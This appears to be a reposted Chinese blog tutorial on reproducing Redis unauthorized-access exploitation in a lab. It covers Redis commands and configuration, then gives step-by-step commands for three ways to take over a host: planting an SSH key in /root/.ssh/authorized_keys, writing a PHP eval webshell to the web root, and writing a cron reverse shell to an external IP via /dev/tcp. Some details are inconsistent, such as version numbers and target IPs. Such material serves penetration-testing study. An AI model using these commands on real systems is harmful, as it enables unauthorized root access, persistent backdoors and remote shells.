redis未授权访问全漏洞复现
redis未授权访问全漏洞复现
Redis 有关的漏洞具有明显的时间分段性,在15年11月之前,主要是未授权导致的数据泄露,获得一些账号密码。另外还可以 DoS(参考:Sangfor VMP redis unauthorized access vulnerability),主要是在 Redis 的命令行工具里输入 shuntdown 命令关闭 Redis 服务器,影响网站正常业务。
一、redis简介
Redis 全称 Remote DictionaryServer(即远程字典服务),它是一个基于内存(当然也可以把其存储至硬盘上,这也是写shell的必要条件之一)实现的键值型非关系(NoSQL)数据库。Redis 免费开源,其最新稳定版本是 6.2.x(2022/11/10)。
常用版本包括3.0、4.0、5.0。自 Redis 诞生以来,它以其超高的性能、完美的文档和简洁易懂的源码广受好评,国内外很多大型互联网公司都在使用 Redis,比如腾讯、阿里、Twitter、Github 等等。
Tips:
Redis 使用标准的做法进行版本管理: “主版本号.副版本号.补丁号”。偶数副版本号表示一个稳定的发布,像 1.2, 2.0, 2.2, 2.4, 2.6, 2.8。奇数副版本号表示不稳定的发布,例如 2.9.x 发布是一个不稳定版本,下一个稳定版本将会是Redis 3.0。
实战中Redis常用命令:
redis-cli -h ip -p 6379 -a passwd # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名
info # 查看相关redis信息
set xz "Hacker" # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
INCR score # 使用INCR命令将score的值增加1
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
使用SET和GET命令,可以完成基本的赋值和取值操作;
Redis是不区分命令的大小写的,set和SET是同一个意思;
使用keys *可以列出当前数据库中的所有键;
当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
如果键的值中有空格,需要使用双引号括起来,如"Hello World";
Redis.conf 配置文件参数:
port参数:
格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。
bind参数:
格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.1.100 10.0.0.1,表允许192.168.1.100和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。
save参数:
格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
save 900 1
save 300 10
save 60 10000
表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。
requirepass参数:
格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。
dir参数:
格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。
dbfilename参数:
格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。
config命令:
通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。
protected-mode参数:
redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。
当我们获得了一个 redis 控制台,我们可以调用 config set/get 等命令对 redis 的部分配置进行修改。而恰好的是,我们可以通过config set来更改dir和dbfilename。也就是说我们可以不用修改redis.conf,也不用重启 redis 服务就可以写入任意文件。
所以这两步加上下面的 save 这一步是把上面在内存中写入的公钥写入到 /root/.ssh/authorized_keys 这一个硬盘上的文件中。
二、redis未授权访问漏洞
Redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip访问等,这样将会将 Redis服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。Redis 是常见内网服务。其他的常见内网服务还有如 Structs2 和 Elastic。
漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
1、漏洞的危害及影响的版本:
(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
Redis 2.x,3.x,4.x,5.x
2、未授权漏洞复现和利用
未授权 Redis 拿 shell 的 3 种方式
通过写 SSH key
通过向 Web 目录中写入 webshell
通过写 crontab 计划任务
1.SSH免密登录原理简介:
在正式开始介绍复现过程前,先说明一下我复现的是最严重的漏洞利用情况即以root身份登录redis服务写入ssh公钥实现使用ssh免密登录受害主机。现在先说明一下SSH免密登录的原理(已经了解的童靴们可以直接跳过hhh):
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证也就是我们想要的免密登录了,这里我只简单说一下密钥验证的原理。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起登录请求,发送自己的相关信息;
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。
2.靶场环境
攻击机: kali: 192.168.229.131
靶机: centos: 192.168.229.128
3.漏洞环境搭建:
第一步官网下载redis wget http://download.redis.io/releases/redis-redis-3.2.11.tar.gz
第二步解压安装包 tar xzf redis-redis-3.2.11.tar.gz
第三步进入redis文件夹 cd redis-redis-3.2.11
第四步在redis-2.8.17文件夹下执行make make
第五步 cd src#进入redis-3.2.11文件夹下的src文件夹
第六步 cp redis-server /usr/bin
第七步 cp redis-cli /usr/bin #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
第八步 cp redis-conf /etc/ #返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下
第九步 redis-server /etc/redis.conf #使用/etc/目录下的reids.conf文件中的配置启动redis服务
第十步 去掉ip绑定,允许除本地外的主机远程登录redis服务、关闭保护模式,允许远程连接redis服务:
最后使用/etc/目录下的reids.conf文件中的配置启动redis服务:redis-server /etc/redis.conf(要把防火墙关掉)
4.漏洞复现
nmap扫描端口发现redis服务:
无密码未授权实现直接访问,然后可以执行redis命令操作
redis-cli -h ip [-p 6379] [-a passwd]
info查看reids服务端信息
三、组合拳攻击 三种拿shell方式
1、redis写入ssh公钥,获取操作系统权限
利用条件:
1、Redis 未授权访问漏洞
2、服务器对外开启了 ssh 服务
3、Redis 服务器运行在 root 用户下(否则还要猜测用户用以修改authorized_keys的保存目录)
所以在实际渗透过程中,该服务器「端口扫描」结果至少要满足:
Redis 服务 open(默认 6379 端口)
ssh 服务 open(默认 22 端口)[没开 ssh 都是扯淡]
具体步骤
- 生成一个 ssh-key:
ssh-keygen -t rsa
- 防止其他数据干扰给公钥加点换行:
(echo -e "\n\n"; cat /home/kali/.ssh/id_rsa.pub; echo -e "\n\n") > may.txt
或者是\r\n
最好在公钥内容的前面和后面都加上一点空格和回车,不然数据库的其它内容可能会造成影响。
- 把公钥写入到一个 key 里面,这个例子中是写入了 may 这个 key。
cat may.txt | redis-cli -h host -x set may
注: -x 代表从标准输入读取数据作为该命令的最后一个参数。
- 设置 rdb 文件存放的路径(需要通过未授权访问进入靶机执行):
config set dir /root/.ssh
- 设置 rdb 文件的文件名
config set dbfilename "authorized_keys"
config set dir xxx 和 config set dbfilename xxx 这两步是什么意思呢?
例如,我们将dir设置为一个目录a,而dbfilename设置为文件名b,
再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:
- 搞定保存。
save
exit
Redis 的数据主要保存在内存中,但使用者可以随时执行 save 命令将当前 Redis 的数据保存到硬盘上,另外redis也会根据配置自动存储数据到硬盘上。
- ssh尝试登陆:
ssh root@192.168.174.140 注意authorized_keys写入的目录,也就是登录的用户
可以到此服务器上查看,发现/root/.ssh目录下已经有了 authorized_keys:
cat /root/.ssh/authorized_keys
2.直接向Web目录中写webshell
原理:
利用了redis数据库的备份功能,在知道了网站路径以后,使用redis的CONFIG set命令,将文件内容为一句话木马,文件路径为网站根目录的wenshell写入目标服务器。
前提条件:
redis可以连接,且知道web目录路径。
示例:
在redis客户端,连接redis服务器后,输入命令:
set x "\n\n\n<?php @eval($_POST['redis']);?>\n\n\n"
config set dir /www/admin/localhost_80/wwwroot //根据具体的网站路径来写,我是用phpstudy搭的,所以写这个了
config set dbfilename shell.php
save
//其中\n\n\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
将dir设置路径为网站根目录,dbfilename设置文件名为shell.php,再执行save或bgsave,于是就将一句话写到网站根目录下了。
使用菜刀,连接http://192.168.229.128/shell.php,密码为redis,连接成功:
3、linux计划任务执行命令反弹shell
原理:
首先同样利用了redis数据库的备份功能,在我们不知道网站绝对路径的时候,可以利用linux的定时任务特性:Linux会监测/etc/crontab的内容,当我们将反弹shell的命令使用redis备份到/etc/crontab中,就可以获得反弹shell。
cron介绍
我们经常使用的是crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表,我们可以在以下文件夹内找到相关配置文件。
/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
/etc/crontab 这个文件负责调度各种管理和维护任务。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。
其他crontab知识可以参考:https://www.runoob.com/w3cnote/linux-crontab-tasks.html
注意:
在不同系统中,root的位置是不一样的
在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建。
示例:
VPS开nc监听需要反弹shell的端口:
客户端连接上Redis服务端以后,执行:
set xxx "\n\n* * * * * bash -i>& /dev/tcp/104.168.147.13/8888 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的\n同样是为了换行,避免crontab的语法错误。
反弹shell命令成功写入了靶机的/var/spool/cron/root中:
检查定时任务是否执行:
tail -10000f /var/log/cron | grep 'bash' //后面是加关键字
VPS成功获得反弹shell:
原文地址:https://blog.csdn.net/qq_46343633/article/details/135693009
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!